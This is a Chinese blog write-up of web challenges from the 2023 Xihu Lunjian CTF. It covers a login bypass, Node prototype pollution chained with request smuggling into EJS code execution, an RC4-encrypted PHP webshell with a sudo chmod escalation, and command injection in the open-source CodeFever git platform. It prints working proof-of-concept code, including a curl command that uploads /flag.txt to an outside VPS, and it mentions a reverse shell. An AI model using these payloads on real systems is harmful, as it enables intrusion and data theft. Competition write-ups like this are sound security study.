西湖论剑2023 web wp
这次有幸代表学校参加西湖论剑ctf线上赛,我和队友们经过8小时的艰难奋斗,将校队aurora的大旗牢牢的插在第七名上(广东省第一),光荣晋级
web
Node Magical Login
第一段flag,访问/flag1
cookie:user=admin
第二段flag在getflag2,绕一下,思路是保证checkcode.length === 16,同时让Try里面执行不了就可以跳到下面,比如可以下面这样
{"checkcode":{"length":16}}
或者考虑到list也有长度,用这个payload也行
real_ez_node
先测试一下,发现可以污染
var safeObj = require("safe-obj");
var obi = ;
console.log("Before :"+ {}.polluted);
safeobj. expand (obj,'constructor.prototype.polluted','Yes! Its Polluted');
console.log("After :"+ {}.polluted);
然后想办法http请求走私,参考这个nodejs请求走私与ssrf | blog (le31ei.top)
本地构造post包
POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
constructor.prototype.polluted=thaijacko
我在vps上起个监听,然后hackbar发送post请求后就可以从vps看到post包,删掉一些冗余的信息,简化得到上面的post包
之后手动把/n
换成\u010D\u010A, \s
换成\u0120
之后写个node脚本发
const http = require("http");
//http.get("http://127.0.0.1:3000/curl?q=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:8888\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:1337\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u012086\u010D\u010A\u010D\u010Ausername=admin2&password=admin2\u010D\u010A\u010D\u010AGET\u0120/123")
http.get("http://127.0.0.1:3000/curl?q=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:3000\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/copy\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:3000\u010D\u010AContent-Length:\u012040\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010A\u010D\u010Aconstructor.prototype.polluted=thaijacko")
可以看到成功走私且被污染
看了下环境,选择攻击ejs,payload如下(注意要post包的body需要url编码)
constructor.prototype.outputFunctionName=a%3D1%3B%20return%20global.process.mainModule.constructor._load('child_process').execSync('curl -F a=@/flag.txt http://8.129.42.140:3307')%3B%20%2F%2F
最终poc
const http = require("http");
http.get("http://127.0.0.1:3000/curl?q=1\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:3000\u010D\u010A\u010D\u010A\u010D\u010APOST\u0120/copy\u0120HTTP/1.1\u010D\u010AHost:\u01208.129.42.140:3307\u010D\u010AContent-Length:\u0120237\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010A\u010D\u010Aconstructor.prototype.constructor.prototype.outputFunctionName=a%3D1%3B+return+global.process.mainModule.constructor._load%28%27child_process%27%29.execSync%28%27curl+-F+a%3D%40%2Fflag.txt+http%3A%2F%2F8.129.42.140%3A3307%27%29%3B+%2F%2F")
unusual php
phpinfo看到有zendtest so
读取http://80.endpoint-8f12dddc46e0491182fabb34bb138e45.m.ins.cloud.dasctf.com:81/?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
分析得到经过rc4加密,把上传的shell通过rc4加密上传,得到shell,上蚁剑
sudo -l看到www-data下chmod指令可免密码执行,直接修复flag权限进行读取,好像/etc/sudoers是没权限读的
扭转乾坤
文件上传的时候抓包在Content-Type随便加东西就行,例如Content-Type: multipart/form1-data;
似乎是中间件apache的导致的漏洞
real world git
一眼源码:https://github.com/PGYER/codefever
两种安装方法,这里docker安装:
docker run -d --privileged=true --name codefever -p 80:80 -p 22:22 -it pgyer/codefever-community:latest /usr/sbin/init
这题写着简单题,但是解数是第二少的,笑死
当时审计的时候认为这里有洞
但是方向其实错误了
参考题解:2023西湖论剑web-writeup题解wp (qq.com)
这个cms还是体量比较大的那种,这里教大家一些骚操作,下载源码后先看docker-compose和dockerfile,了解到项目代码有一部分是安装包(比如misc文件夹等),同时也找到了docker里面的web目录/data/www/codefever-community/
有用的功能代码可能就这几个
很快发现application的controller应该是业务核心代码,使用MVC架构的确符合大工程cms特定,同时,这里的代码是典型的跳转登录
符合我们初次访问的url
审计application这个mvc就能大致掌握业务逻辑了,有助于我们快速上手
大致审计了一下登录鉴权系统,没什么硬伤,倒是md5两次明文密码再存储值得很多辣鸡cms进行学习
看到登录的话会返回u_key
登录成功会跳到repositories,怀疑就是repository的功能代码了
经过了解,base.php应该是规范api请求的
创建一个仓库可以获取r_key
但是需要u_key,g_key的鉴权,猜名字应该就是user和组
这里可以看到,没有g_key是直接新建不了的,上面的代码有所体现
可以注册用户。然后创建仓库。可以拿到rkey
这个r_key本来就是业务需要公开的,所以随便找找api就有
随后了解项目代码后,找可以rce的点,代码中有许多调用系统命令的地方,包括但不限于run,execCommand等
这里直接说答案,发现BlameInfo_get->getblameinfo->run 可以利用
BlameInfo_get仍然是在respository里面的一个业务代码
可控的地方是revision和path
我们看一下getBlameInfo
public function getBlameInfo(string $rKey, string $uKey, string $revision, string $filepath)
{
// get repository internal url
$repositoryURL = $this->getAccessURL($rKey, $uKey);
if (!$repositoryURL) {
return FALSE;
}
$revision = Command::wrapArgument($revision);
$filepath = Command::wrapArgument($filepath);
// create target repository workspace
$workspace = Workspace::create();
// clone target repository
$status = Command::runWithoutOutput([
'cd', $workspace, '&&',
YAML_CLI_GIT, 'clone', $repositoryURL, '.'
]);
if (!$status) {
Workspace::delete($workspace);
return FALSE;
}
$output = [];
$status = Command::run([
'cd', $workspace, '&&',
YAML_CLI_GIT, 'checkout', $revision, '&&',
YAML_CLI_GIT, 'blame', '-p', $revision, $filepath
], $output);
if (!$status) {
Workspace::delete($workspace);
return FALSE;
}
Workspace::delete($workspace);
$output = Helper::parseBlameData($output);
// return merge result
return $output;
}
可以看到一开始我们进入到这里
$revision = Command::wrapArgument($revision);
$filepath = Command::wrapArgument($filepath);
这是一个过滤,可以看到原来注释的代码,原意应该是做一个转义,但是后面这样改安全多了
特殊字符会被过滤(这里过滤了空格,引号,$符号,竖线)
结果run又使用空格连接array参数
这里大概是可以rce的,只要想到命令注入的一些绕过(这里只过滤了空格,引号,$符号,竖线)就可以,
比如说
;id
最后run参数是这样操作的
$status = Command::run([
'cd', $workspace, '&&',
YAML_CLI_GIT, 'checkout', $revision, '&&',
YAML_CLI_GIT, 'blame', '-p', $revision, $filepath
], $output);
每个元素直接都会加上空格,不难想到可以
$revision=;curl
$filepath=vps
可以写个demo测一测,调一调,快乐十分
<?php
function wrapArgument(string $argument)
{
// $argument = str_replace('\\', '\\\\',$argument);
// $argument = str_replace('"', '\"',$argument);
// return '"' . $argument . '"';
$pattern = [
'/(^|[^\\\\])((\\\\\\\\)*[\s\'\"\$\|])/',
'/(^|[^\\\\])((\\\\\\\\)*\\\\([^\s\'\"\|\$\\\\]|$))/'
];
$replacement = [
'$1\\\\$2',
'$1\\\\$2'
];
$result = preg_replace($pattern, $replacement, $argument);
while ($result !== $argument) {
$argument = $result;
$result = preg_replace($pattern, $replacement, $argument);
}
return $result;
// return '"' . $result . '"';
}
$workspace="/var/www/html";
$revision=";`curl";
$filepath="http://8.129.42.140:3307";
$revision = wrapArgument($revision);
$filepath = wrapArgument($filepath);
echo $revision;echo "\n";
echo $filepath;echo "\n";
$command=[
'cd', $workspace, '&&',
'YAML_CLI_GIT', 'checkout', $revision, '&&',
'YAML_CLI_GIT', 'blame', '-p', $revision, $filepath
];
echo implode(' ', $command);
这样应该是可以了,反引号可以不用的
实战测一下
后面就是vps上传反弹shell的sh,然后给靶机执行,执行后需要登录mysql覆盖admin密码才能登录后台getflag,后面的没啥操作,主要还是前面getshell
至于如何调到blameInfo_get这个函数呢
通过不断的在后台抓包,观察各个api,可以发现规律:访问/api/repository/xxx就可以调用到xxx_get
例如
就是
具体实现应该是在api.php里面,大概像是这样,这是很多mvc都具备的特点
java有空再写,要复习考试了
博主您好,您战队crypto方向的wp可以公布吗
好的,请稍等,博主这两天在考试
抱歉,久等了,已发布,望海涵